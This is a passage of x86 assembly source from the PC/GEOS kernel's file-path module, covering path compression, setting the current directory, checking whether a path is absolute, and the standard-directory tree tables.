di, and loop for more chars if we've ; not used up the entire buffer. ; LocalPutChar esdi, ax loop copyLoop ; ; Buffer full, so return cx == 0 ; done: .leave ret copyDone: ; ; Copied the entire source string, now deal with "." and ".." at the ; end of the string. ; DBCS < cmp bl, CNTSCXMCPANS_SAWDOT ; last was "."? > SBCS < cmp ah, CNTSCXMCPANS_SAWDOT ; last was "."? > je backToDXStoreNull ; yes -- nuke component DBCS < cmp bl, CNTSCXMCPANS_LAST_WAS_BACKSLASH ; last was empty? > SBCS < cmp ah, CNTSCXMCPANS_LAST_WAS_BACKSLASH ; last was empty? > je nukeTrailingBackslash ; yes DBCS < cmp bl, CNTSCXMCPANS_SAWDOTDOT ; last was ".."? > SBCS < cmp ah, CNTSCXMCPANS_SAWDOTDOT ; last was ".."? > jne storeNull ; no -- just go to store ; the null-terminator call findPrevCompStart backToDXStoreNull: SBCS < stc ; figure the # bytes we're regaining > SBCS < sbb di, dx ; di -= dx+1 > DBCS < sub di, dx > DBCS < shr di, 1 ; di <- # of chars > DBCS < dec di ; di -= dx+1 > add cx, di ; add them to the available nukeTrailingBackslash: mov di, dx ; di <- addr of final backslash inc cx ; assume we're nuking it cmp dx, ss:[bufStart]; is it the only char in the buffer? je preserveLastBS ; yes -- preserve it SBCS < cmp {char}es:[di-1], ':'; come after drive specifier? > DBCS < cmp {wchar}es:[di-2], ':'; come after drive specifier? > jne storeNull ; no -- nuke it preserveLastBS: LocalNextChar esdi ; if first BS in the buffer, preserve dec cx ; it storeNull: LocalPutChar esdi, ax LocalPrevChar esdi ; leave pointing to null clc ; success! jmp done ; ; Internal subroutine to find a backslash before the one whose position ; is marked by es:dx. ; Return: ; es:dx = backslash before last one. if es:dx is actually the ; start of the buffer, es:dx is returned unchanged (this ; takes care of paths like \..) ; findPrevCompStart: push cx mov cx, dx sub cx, ss:[bufStart]; cx <- distance from last ; b.s. to start of the buffer. je fPCSDone push ax, di mov di, dx LocalPrevChar esdi ; es:di <- char before last backslash std ; scan backwards, of course LocalLoadChar ax, C_BACKSLASH SBCS < repne scasb > DBCS < repne scasw > EC < ERROR_NE PATH_IN_BUFFER_NOT_ABSOLUTE > SBCS < lea dx, [di+1] ; dx <- address of found b.s. > DBCS < lea dx, [di+2] ; dx <- address of found b.s. > cld ; must reset this or death will come... pop ax, di fPCSDone: pop cx retn CopyNTStringCXMaxCompressPointAtNull endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileGetStdPathParent %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Return the parent directory of a std path CALLED BY: CopyStandardPathComponents PASS: bx - std path RETURN: bx - parent DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 9/10/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileGetStdPathParent proc far uses ds, si .enter EC < cmp bx, StandardPath > EC < ERROR_AE INVALID_STANDARD_PATH > call FP_LoadVarSegDS mov si, offset alteredStdPathUpwardTree tst ds:[documentIsTop] jnz gotTree mov si, offset stdPathUpwardTree gotTree: shr bx mov bl, cs:[si][bx] EC < cmp bx, StandardPath > EC < ERROR_AE INVALID_STANDARD_PATH > .leave ret FileGetStdPathParent endp COMMENT @---------------------------------------------------------------------- FUNCTION: CopyStandardPathComponents DESCRIPTION: Copy a standard path into a buffer CALLED BY: FileConstructFullPath, BuildPathEntry, PASS: ax - StandardPath at which to stop bp - StandardPath es:di - buffer cx - buffer size ds - StandardPathStrings RETURN: es:di - pointing at null terminator cx - updated (0 if ran out of buffer space) DESTROYED: ds, si REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: If the docIsTop flag is set, then don't copy anything for SP_DOCUMENT Recursively call the parent, and then copy our own portion KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 1/91 Initial version ------------------------------------------------------------------------------@ StdPathUpwardNode struct SPUN_parent byte ;SP_NOT_STANDARD_PATH if none StdPathUpwardNode ends ;Standard Case stdPathUpwardTree StdPathUpwardNode \ <SP_NOT_STANDARD_PATH>, ;top <SP_TOP>, ;world <SP_TOP>, ;document <SP_TOP>, ;system <SP_TOP>, ;privdata <SP_PRIVATE_DATA>, ;state <SP_USER_DATA>, ;font <SP_PRIVATE_DATA>, ;spool <SP_SYSTEM>, ;sysappl <SP_TOP>, ;userdata <SP_SYSTEM>, ;mouse <SP_SYSTEM>, ;printer <SP_SYSTEM>, ;fs <SP_SYSTEM>, ;video <SP_SYSTEM>, ;swap <SP_SYSTEM>, ;kbd <SP_SYSTEM>, ;fontDr <SP_SYSTEM>, ;impex <SP_SYSTEM>, ;task <SP_USER_DATA>, ;help <SP_USER_DATA>, ;template <SP_SYSTEM>, ;power <SP_TOP>, ;dosroom <SP_SYSTEM>, ;hwr <SP_PRIVATE_DATA>, ;wastebasket <SP_USER_DATA>, ;backup <SP_SYSTEM>, ;pager <SP_SYSTEM> ;component (NewBASIC) alteredStdPathUpwardTree StdPathUpwardNode \ <SP_NOT_STANDARD_PATH>, ;top <SP_TOP>, ;world <SP_NOT_STANDARD_PATH>, ;document <SP_TOP>, ;system <SP_TOP>, ;privdata <SP_PRIVATE_DATA>, ;state <SP_USER_DATA>, ;font <SP_PRIVATE_DATA>, ;spool <SP_SYSTEM>, ;sysappl <SP_TOP>, ;userdata <SP_SYSTEM>, ;mouse <SP_SYSTEM>, ;printer <SP_SYSTEM>, ;fs <SP_SYSTEM>, ;video <SP_SYSTEM>, ;swap <SP_SYSTEM>, ;kbd <SP_SYSTEM>, ;fontDr <SP_SYSTEM>, ;impex <SP_SYSTEM>, ;task <SP_USER_DATA>, ;help <SP_USER_DATA>, ;template <SP_SYSTEM>, ;power <SP_TOP>, ;dosroom <SP_SYSTEM>, ;hwr <SP_PRIVATE_DATA>, ;wastebasket <SP_USER_DATA>, ;backup <SP_SYSTEM>, ;pager <SP_COMPONENT> ;component (NewBASIC) CheckHack <length stdPathUpwardTree eq (StandardPath/2)> CheckHack <length alteredStdPathUpwardTree eq (StandardPath/2)> CopyStandardPathComponents proc near uses ax, bx .enter cmp bp, ax je done push bp ; current std path mov bx, bp call FileGetStdPathParent mov bp, bx tst bp jz copyCurrent | CheckHack <SP_NOT_STANDARD_PATH eq 0> ; parent exists, copy it first call CopyStandardPathComponents jcxz copyCurrent ; buffer full, but still need to pop bp LocalLoadChar ax, C_BACKSLASH LocalPutChar esdi, ax dec cx copyCurrent: pop bp jcxz done mov si, bp call FileGetStdPathName ; ds:si - name of std path call CopyNTStringCXMaxPointAtNull done: .leave ret CopyStandardPathComponents endp COMMENT @----------------------------------------------------------------------- FUNCTION: FileSetCurrentPath, FileSetCurrentPathRaw DESCRIPTION: Set the current directory. Both routines perform nearly the same function. FileSetCurrentPath will additionally check the path to see if it matches a StandardPath, and if so, sets the current path disk handle to the nearest StandardPath. CALLED BY: GLOBAL PASS: bx - disk handle OR StandardPath If BX is 0, then the passed path is either relative to the thread's current path, or is absolute (with a drive specifier). ds:dx - Path specification. The path MAY contain a drive spec, in which case, BX should be passed in as zero. RETURN: carry - set if error ax - FileError (if an error) ERROR_PATH_NOT_FOUND bx - disk handle if bx was passed as 0 DESTROYED: REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: if (disk handle == 0) { disk handle = current path's disk handle } if (disk handle is standard path) { stdpath = disk handle disk handle = topLevelDiskHandle EC: path must be relative (?) } else { stdpath = 0 if (same disk as current path) { note if path is absolute or relative } else { EC: path must be absolute (note same) } } EC: if path has drive spec, ensure absolute & matches disk handle if (path isn't below s.p., or path is null & below s.p.) { call FileConstructFullPath with various pieces if FileSetCurrentPath called (not ...Raw) call FileParseStandardPath to see if it's a s.p. in disguise } ; buffer contains either absolute path & disk handle is disk handle, ; or buffer contains tail & disk handle is s.p. constant if (disk handle is s.p.) { foreach possible absolute path on s.p. search path { find FSD and ask it to set thread's cwd to this possibility if successful { set stdpath and copy tail in, nuking FSD-private data return success } } return error } else { ask FSD to set thread's cwd to value in buffer & disk handle return whatever FSD returns. } KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 10/88 Initial version Cheng 2/90 Added disk handle support dhunter 4/27/2000 Added FileSetCurrentPathRaw -------------------------------------------------------------------------------@ FSCP_DONT_CHECK_STANDARD_PATHS equ 1 if FULL_EXECUTE_IN_PLACE CopyStackCodeXIP segment resource FileSetCurrentPathRaw proc far mov al, FSCP_DONT_CHECK_STANDARD_PATHS mov ss:[TPD_dataBX], handle FileSetCurrentPathReal mov ss:[TPD_dataAX], offset FileSetCurrentPathReal GOTO SysCallMovableXIPWithDSDX FileSetCurrentPathRaw endp CopyStackCodeXIP ends else FileSetCurrentPathRaw proc far mov al, FSCP_DONT_CHECK_STANDARD_PATHS GOTO FileSetCurrentPathReal FileSetCurrentPathRaw endp endif if FULL_EXECUTE_IN_PLACE CopyStackCodeXIP segment resource FileSetCurrentPath proc far clr al ; Check StandardPaths mov ss:[TPD_dataBX], handle FileSetCurrentPathReal mov ss:[TPD_dataAX], offset FileSetCurrentPathReal GOTO SysCallMovableXIPWithDSDX FileSetCurrentPath endp CopyStackCodeXIP ends else FileSetCurrentPath proc far clr al ; Check StandardPaths FALL_THRU FileSetCurrentPathReal FileSetCurrentPath endp endif FileSetCurrentPathReal proc far uses bp, si, ds, dx, es, di, cx .enter mov di, 750 call ThreadBorrowStackDSDX push di if FULL_EXECUTE_IN_PLACE EC< push bx, si > EC< movdw bxsi, dsdx > EC< call ECAssertValidTrueFarPointerXIP > EC< pop bx, si > endif push bx ; save for return if FLOPPY_BASED_DOCUMENTS call HackDocumentToFloppy ; force to B:\ endif segmov es, ss sub sp, size PathName mov di, sp ;es:di = buffer mov si, ss:[TPD_curPath] ; si <- thread's cwd handle EC < tst si > EC < ERROR_Z THREAD_HAS_NO_CURRENT_PATH_BLOCK > call CheckPathAbsolute ; cx <- 0 if relative, !0 if ; absolute ; See if the disk handle passed is actually a standard path. These ; constants are all odd, while disk handles must be even, so... ; EC < test bx, DISK_IS_STD_PATH_MASK > EC < jz ecDiskNotSP > EC < cmp bx, StandardPath-2 > EC < ERROR_A INVALID_STANDARD_PATH > EC < jmp mergePieces > EC <ecDiskNotSP: > EC < tst bx > EC < jz mergePieces > EC < tst cx > EC < ERROR_Z PATH_WITH_DISK_HANDLE_MUST_BE_ABSOLUTE > EC <mergePieces: > ; ; If path is being set relative but is actually absolute, get a disk ; handle for it based on any drive specifier it might have. ; tst bx jnz haveDiskHandle jcxz checkQuickSet ; ; To cope with getting an absolute path whilst in a standard path ; on a system where standard path merging isn't enabled, we need to ; skip over the leading \, if such there be, to make the path be ; relative instead. Note that we do have to ensure the first ; char is a backslash, as the thing might be absolute with a ; drive specifier at its front. ; push ax ; save check s.p. flag push ds call FP_CurPathLockDS ; ds, ^hbx <- cur path mov ax, ds:[FP_stdPath] call MemUnlock pop ds tst ax jz getDiskForPath ; => not under s.p. mov bx, dx ; ds:bx <- path to set SBCS < cmp {char}ds:[bx], C_BACKSLASH ; absolute? > DBCS < cmp {wchar}ds:[bx], C_BACKSLASH ; absolute? > jne getDiskForPath ; yes, but with drive spec clr bx ; leave bx 0 so FCFP prepends current ; dir pop ax ; restore check s.p. flag jmp haveDiskHandle getDiskForPath: mov bx, TRUE ; don't check for std path, as we'll ; do that in a moment anyway call FileGetDestinationDisk ; ds:dx <- path w/o drive specifier pop ax ; restore check s.p. flag LONG jc done ; no disk, quit now (7/20/93 cbh) haveDiskHandle: ; ; ds:dx = path tail ; bx = disk handle ; cx = 0 if path is relative, !0 if path is absolute ; si = current path handle ; ; EC: if drive specifier given in path, ensure the drive matches ; the disk handle ; EC < push es, ax, dx, si > EC < call FileLockInfoSharedToES > EC < call DriveLocateByName > EC < ERROR_C PATH_DRIVE_MISMATCH ; => drive doesn't exist, so > EC < ; can't match disk handle > EC < tst si > EC < jz driveSpecOK ; => no drive spec, so ok > EC < cmp es:[bx].DD_drive, si ; match drive in disk handle? > EC < ERROR_NE PATH_DRIVE_MISMATCH ; no -- choke. > EC < tst cx ; make sure path is absolute > EC < ERROR_Z PATH_WITH_DRIVE_MUST_BE_ABSOLUTE > EC <driveSpecOK: > EC < call FSDUnlockInfoShared > EC < pop es, ax, dx, si > checkQuickSet: push si mov si, dx ; ds:si <- new path test bx, DISK_IS_STD_PATH_MASK; below std path? jz completeThePath ; no -- go build the full path and ; see if it's actually std if DBCS_PCGEOS mov {wchar}es:[di], 0 ; assume tail is empty tst {wchar}ds:[si] ; correct? jz justStdPath ; wrong. cmp {wchar}ds:[si], '\\' jne completeThePath ; tail is root? cmp {wchar}ds:[si][2], C_NULL jne completeThePath else mov {char}es:[di], 0 ; assume tail is empty tst {char}ds:[si] ; correct? jz justStdPath ; wrong. cmp {word}ds:[si], '\\' or (0 shl 8) ; tail is root? jne completeThePath endif justStdPath: push ds call FP_LoadVarSegDS tst ds:[loaderVars].KLV_stdDirPaths pop ds jz completeThePath ; => std path mechanism not in use, ; so we have to build a full path ; from the std path and the tail we ; were given. mov dx, di ; es:dx <- full path to set (nothing, ; in this case, as std path is ; everything) ; skip construction and ; parsing, as we've got what we ; need right now. mov bp, bx jmp havePath completeThePath: ; ; First construct the full, absolute path from the components we've ; got: bx = disk handle (maybe 0), ds:si = path tail ; push di mov cx, size PathName clr dx ;no drive spec call FileConstructFullPath EC < ERROR_C PATH_BUFFER_OVERFLOW > pop di ; ; Now see if the thing's actually a standard directory. (bx is ; real disk handle (topLevelDiskHandle if was in S.P.)) ; ; If al was passed in containing FSCP_DONT_CHECK_STANDARD_PATHS, ; then FileSetCurrentPath was called, and we should perform the ; default functionality of checking for a StandardPath. Otherwise, ; skip this check. ; clr bp ; assume no StandardPath cmp al, FSCP_DONT_CHECK_STANDARD_PATHS je havePath mov_tr bp, ax ; save ax mov dx, di ; save start of buffer call FileParseStandardPath ; get StandardPath (if any) xchg ax, bp ; bp = std path, restore ax havePath: pop si ; restore block handle for current path ; es:di = path to set, bx = disk handle, bp = StandardPath, ; si = path block to change tst bp jz checkIfSamePath mov bx, bp ; bx <- std path, not disk handle checkIfSamePath: ; before setting the path, see if we're setting a path that is ; already set if 0 ; 4/19/93: this optimization is of questionable utility, I think, as ; ; things tend to push dir/set dir/pop dir, making it unlikely that one ; ; would be setting the same directory as is already set, and this ; ; optimization has the unfortunate side effect of making the ; ; megafile stuff not get searched when looking for the netware FS ; ; driver, owing to the FP_pathInfo having been set to <1, 2, SP_TOP> ; ; before the megafile driver was loaded -- ardeb ; ; call FP_LoadVarSegDS ; cmp bx, ds:[si].HM_otherInfo ; same disk? ; jnz noMatchNoUnlock ; nope, so not same ; ; xchg bx, si ;bx = path handle, si = disk ; call FP_PathLockDS ;ds = path block ; push si, di ; mov si, ds:[FP_path] ;cmpLoop: ; lodsb ; scasb ; jnz noMatch ; tst al ; jnz cmpLoop ; zero flag set -> match ;noMatch: ; pop si, di ; ; call FileUnlockPath ; xchg bx, si ;si = path handle, bx = disk ;noMatchNoUnlock: ; jz done endif segmov ds, es mov dx, di ; Keep track of link recursion so we'll know if we get into an ; infinite loop. We keep the recursion counter at the bottom ; of the stack for convenience. ; inc ss:[TPD_stackBot] mov bp, ss:[TPD_stackBot] mov {byte} ss:[bp].CP_linkCount, 0 call SetCurPath dec ss:[TPD_stackBot] done:: mov di, sp ;don't trash the carry! lea sp, [di+(size PathName)] ; ; Return current disk handle if no error and BX was passed as 0 ; mov dx, bx ; dx <- current disk (saved in .enter) pop bx ; bx <- passed bx jc exit ; error => do nothing tst bx ; passed 0? jnz exit ; no (tst clears carry) mov bx, dx ; return current disk handle exit: pop di call ThreadReturnStackSpace .leave ret FileSetCurrentPathReal endp COMMENT @---------------------------------------------------------------------- ROUTINE: HackDocumentToFloppy SYNOPSIS: Changes SP_DOCUMENT to be hardwired to B:\. CALLED BY: utility PASS: bx - disk handle OR StandardPath If BX is 0, then the passed path is either relative to the thread's current path, or is absolute (with a drive specifier). ds:dx - Path specification. The path MAY contain a drive spec, in which case, BX should be passed in as zero. RETURN: bx, dx updated if needed DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Chris 11/23/93 Initial version ------------------------------------------------------------------------------@ if SINGLE_DRIVE_DOCUMENT_DIR HackDocumentToFloppy proc near ; ; Hack to map SP_DOCUMENT to the floppy, always. 7/20/93 cbh ; cmp bx, SP_DOCUMENT ; force document to A: jne 10$ clr bx FXIP< LoadVarSeg ds, dx > NOFXIP< segmov ds, cs > mov dx, offset bColon 10$: ret HackDocumentToFloppy endp FXIP < idata segment > LocalDefNLString bColon, <DOCUMENT_DRIVE_CHAR, C_COLON, C_BACKSLASH, C_NULL> FXIP < idata ends > endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CheckPathAbsolute %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: See if the passed path is absolute. CALLED BY: INTERNAL PASS: ds:dx = path to check RETURN: cx = 0 if path relative, non-0 if path absolute DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 8/ 2/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CheckPathAbsolute proc near uses ax, si .enter if FULL_EXECUTE_IN_PLACE EC< push bx, si > EC< movdw bxsi, dsdx > EC< call ECAssertValidTrueFarPointerXIP > EC< pop bx, si > endif mov cx, 1 mov si, dx scanLoop: LocalGetChar ax, dssi LocalIsNull ax jz seenNullTerm LocalCmpChar ax, ':' je seenColon LocalCmpChar ax, C_BACKSLASH je seenBackslash EC < jcxz malformed ; drive spec *must* be followed > EC < ; by backslash (absolute) in > EC < ; this system, no matter what > EC < ; the path is for. If cx is 0, > EC < ; we've seen the colon... > NEC < jcxz done ; malformed, but pretend it's > NEC < ; relative so as to provoke > NEC < ; an error from DOS when > NEC < ; concatenated with cur path > jmp scanLoop seenNullTerm: dec cx ; cx <- 0 as neither drive spec nor ; backslash seen (or we would ; have been outta here long since) EC < ERROR_S MALFORMED_PATH ; => ended with drive spec > NEC < js malformed ; pretend path is relative > NEC < ; so we provoke DOS > done: .leave ret seenColon: dec cx jz scanLoop ; => first colon, so ok ; can't have more than one colon in a path, bub malformed: EC < ERROR MALFORMED_PATH > NEC < clr cx ; pretend it's relative, in the hope > NEC < jmp done ; that it's even less likely to be > NEC < ; found by DOS > seenBackslash: dec cx ; if no colon before this, cx is 1 and path ; is relative...unless backslash is the first ; thing, of course :) ; if colon before this, cx is 0 and decrement ; makes it non-zero, signalling absolute LocalPrevChar dssi ; back up to actual backslash position cmp si, dx ; backslash at start? jne done ; no -- leave cx as-is dec cx ; yes -- cx must be 0 now, so make it -1 to ; signal path absolute jmp done CheckPathAbsolute endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileParseStandardPathIfPathsEnabled %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Similar to FileParseStandardPath, but only returns a standard path if KLV_stdDirPaths is non-zero, so InitForPathEnum won't choke. It also is guaranteed to not return a null path tail, as we assume the caller is going to perform some operation on the passed path and thus need something non-null on which to work, unless, of course, a null path is passed in... CALLED BY: FileGetDestinationDisk PASS: es:di = path to parse bx = disk handle, or 0 to => that path includes drive specifier. RETURN: ax = standard path (SP_NOT_STANDARD_PATH [0] if none) es:di = pointing at remaining part of path DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- ardeb 10/28/91 Initial version chrisb 9/29/92 Added initial check for null %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileParseStandardPathIfPathsEnabled proc near uses bx .enter if FULL_EXECUTE_IN_PLACE EC< push bx, si > EC< movdw bxsi, esdi > EC< call ECAssertValidTrueFarPointerXIP > EC< pop bx, si > endif ; ; If the caller passed us a null path, there's nothing to ; parse... (9/29/92) ; mov ax, bx SBCS < tst <{byte} es:[di]> > DBCS < tst <{wchar} es:[di]> > jz done clr ax ; assume paths disabled push ds call FP_LoadVarSegDS tst ds:[loaderVars].KLV_stdDirPaths pop ds jz done push di call FileParseStandardPath pop bx ; ; Ensure final tail ain't null ; SBCS < tst {char}es:[di] > DBCS < tst {wchar}es:[di] > jnz done ; ; It is null, so back up the std path tree one level. ; xchg bx, ax ; bx <- std path, ax <- path start call FileGetStdPathParent xchg ax, bx ; ax <- parent, bx <- path start tst ax jnz skipBackAComponent ; ; Parsed path was SP_TOP, so use the path by itself, since there's ; nothing above SP_TOP... ; mov di, bx done: .leave ret skipBackAComponent: LocalPrevChar esdi SBCS < cmp {char}es:[di], C_BACKSLASH > DBCS < cmp {wchar}es:[di], C_BACKSLASH > je atComponentStart cmp di, bx ; at start of passed path? ja skipBackAComponent jmp done ; yes -- leave di there... atComponentStart: LocalNextChar esdi ; point to first char of component, not ; backslash jmp done FileParseStandardPathIfPathsEnabled endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileGetStdPathFirstChild %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Return the first child of a std path CALLED BY: FileParseStdPath PASS: bx - StandardPath RETURN: bl - child , or SP_NOT_STANDARD_PATH if not found DESTROYED: nothing PSEUDO CODE/STRATEGY: We set SI as the offset of the field in the data structure, plus the expected address of the table, -1 (since S.P. constants are all odd, and start at 1). KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 9/10/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileGetStdPathFirstChild proc near EC < cmp bx, StandardPath > EC < ERROR_AE INVALID_STANDARD_PATH > push si mov si, (offset alteredStdPathTree + offset SPN_firstChild-1) jmp accessStdPathTreeCommon FileGetStdPathFirstChild endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileGetStdPathName %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Return a pointer to the string representing the directory name of the given StandardPath CALLED BY: INTERNAL PASS: si - StandardPath ds - StandardPathStrings RETURN: ds:si - standard path name DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 9/10/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileGetStdPathName proc near uses bx .enter EC < cmp si, StandardPath > EC < ERROR_AE INVALID_STANDARD_PATH > ; ; See if the documentIsTop flag is set ; push ds call FP_LoadVarSegDS tst ds:[documentIsTop] pop ds jz useStrings cmp si, SP_DOCUMENT je nullString useStrings: assume ds:StandardPathStrings mov si, ds:[firstStandardPath-SP_APPLICATION][si] done: .leave ret nullString: ; ; If SP_DOCUMENT flag set, return a null string ; mov si, ds:[firstStandardPath] SBCS < add si, (size firstStandardPath - 1) > DBCS < add si, (size firstStandardPath - 2) > jmp done assume ds:dgroup FileGetStdPathName endp if MULTI_LANGUAGE FileGetStdPathNameFar proc far call FileGetStdPathName ret FileGetStdPathNameFar endp endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FileGetStdPathNextSibling %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Return the next sibling in the std path tree, or 0 if not found CALLED BY: INTERNAL PASS: bx - StandardPath RETURN: bl - next sibling (StandardPath), or 0 if not found DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: hack. REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 9/10/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FileGetStdPathNextSibling proc near EC < cmp bx, StandardPath > EC < ERROR_AE INVALID_STANDARD_PATH > ; ; Assume we're using the "altered" tree. Code is optimized ; for this NOT being the case, as we jump later if so. ; push si mov si, (offset alteredStdPathTree + offset SPN_nextSibling-1) accessStdPathTreeCommon label near ; ; If special hack flag set in .INI file, then use our ; "altered" tree. ; push ds call FP_LoadVarSegDS tst ds:[documentIsTop] jnz gotTree sub si, (offset alteredStdPathTree- offset stdPathTree) gotTree: mov bl, cs:[si][bx] ; fetch sibling or child pop ds pop si EC < cmp bx, StandardPath > EC < ERROR_AE INVALID_STANDARD_PATH > ret FileGetStdPathNextSibling endp COMMENT @---------------------------------------------------------------------- FUNCTION: FileParseStandardPath DESCRIPTION: Construct the best combination of a StandardPath constant and a path. NOTE: if the filesystem on which our top level resides is case-insensitive, the passed path must be in all upper-case for it to be properly recognized. The best way to ensure this is to push to the directory in question and call FileGetCurrentPath, remembering to stick the drive specifier at the beginning of...to be continued.. Returns no leading slash. CALLED BY: GLOBAL PASS: es:di - path to parse bx - disk on which path resides. 0 means path contains drive specifier RETURN: ax - StandardPath (0 [aka SP_NOT_STANDARD_PATH] if none) es:di - pointing at remaining part of path DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 1/91 Initial version ------------------------------------------------------------------------------@ StdPathNode struct SPN_nextSibling byte SPN_firstChild byte StdPathNode ends ; ; SP_TOP -------+- SP_APPLICATION ; +- SP_DOCUMENT ; +- SP_SYSTEM ; | +- SP_SYS_APPLICATION ; | +- SP_MOUSE_DRIVERS ; | +- SP_PRINTER_DRIVERS ; | +- SP_FILE_SYSTEM_DRIVERS ; | +- SP_VIDEO_DRIVERS ; | +- SP_SWAP_DRIVERS ; | +- SP_KEYBOARD_DRIVERS ; | +- SP_FONT_DRIVERS ; | +- SP_IMPORT_EXPORT_DRIVERS ; | +- SP_TASK_SWITCH_DRIVERS ; | +- SP_POWER_DRIVERS ; | +- SP_HWR ; | +- SP_PAGER_DRIVERS ; | +- SP_COMPONENT (NewBASIC) ; +- SP_PRIVATE_DATA ; | +- SP_STATE ; | +- SP_SPOOL ; | +- SP_WASTE_BASKET ; +- SP_USER_DATA ; | +- SP_FONT ; | +- SP_HELP_FILES ; | +- SP_TEMPLATE ; | +- SP_BACKUP ; +- SP_DOS_ROOM stdPathTree StdPathNode \ <0, SP_APPLICATION>, ;top <SP_DOCUMENT, 0>, ;world <SP_SYSTEM, 0>, ;document <SP_PRIVATE_DATA, SP_SYS_APPLICATION>, ;system <SP_USER_DATA, SP_STATE>, ;privdata <SP_SPOOL, 0>, ;state <SP_HELP_FILES, 0>, ;font <SP_WASTE_BASKET, 0>, ;spool <SP_MOUSE_DRIVERS, 0>, ;sysappl <SP_DOS_ROOM, SP_FONT>, ;userdata <SP_PRINTER_DRIVERS, 0>, ;mouse <SP_FILE_SYSTEM_DRIVERS, 0>, ;printer <SP_VIDEO_DRIVERS, 0>, ;fs <SP_SWAP_DRIVERS, 0>, ;video <SP_KEYBOARD_DRIVERS, 0>, ;swap <SP_FONT_DRIVERS, 0>, ;kbd <SP_IMPORT_EXPORT_DRIVERS, 0>, ;fontDr <SP_TASK_SWITCH_DRIVERS, 0>, ;impex <SP_POWER_DRIVERS, 0>, ;task <SP_TEMPLATE, 0>, ;help <SP_BACKUP, 0>, ;template <SP_HWR, 0>, ;power <0, 0>, ;dosroom <SP_PAGER_DRIVERS, 0>, ;hwr <0, 0>, ;wastebasket <0, 0>, ;backup <SP_COMPONENT, 0>, ;pager <0, 0> ;component (NewBASIC) ;Special Case for some networks: SP_DOCUMENT = PC/GEOS root directory. ; SP_DOCUMENT is not part of the tree in this case -- we never want to ; parse it, and we never want to construct it (its string is NULL) ; ; ---+- SP_TOP ------+- SP_APPLICATION ; +- SP_SYSTEM ; | +- SP_SYS_APPLICATION ; | +- SP_MOUSE_DRIVERS ; | +- SP_PRINTER_DRIVERS ; | +- SP_FILE_SYSTEM_DRIVERS ; | +- SP_VIDEO_DRIVERS ; | +- SP_SWAP_DRIVERS ; | +- SP_KEYBOARD_DRIVERS ; | +- SP_FONT_DRIVERS ; | +- SP_IMPORT_EXPORT_DRIVERS ; | +- SP_TASK_SWITCH_DRIVERS ; | +- 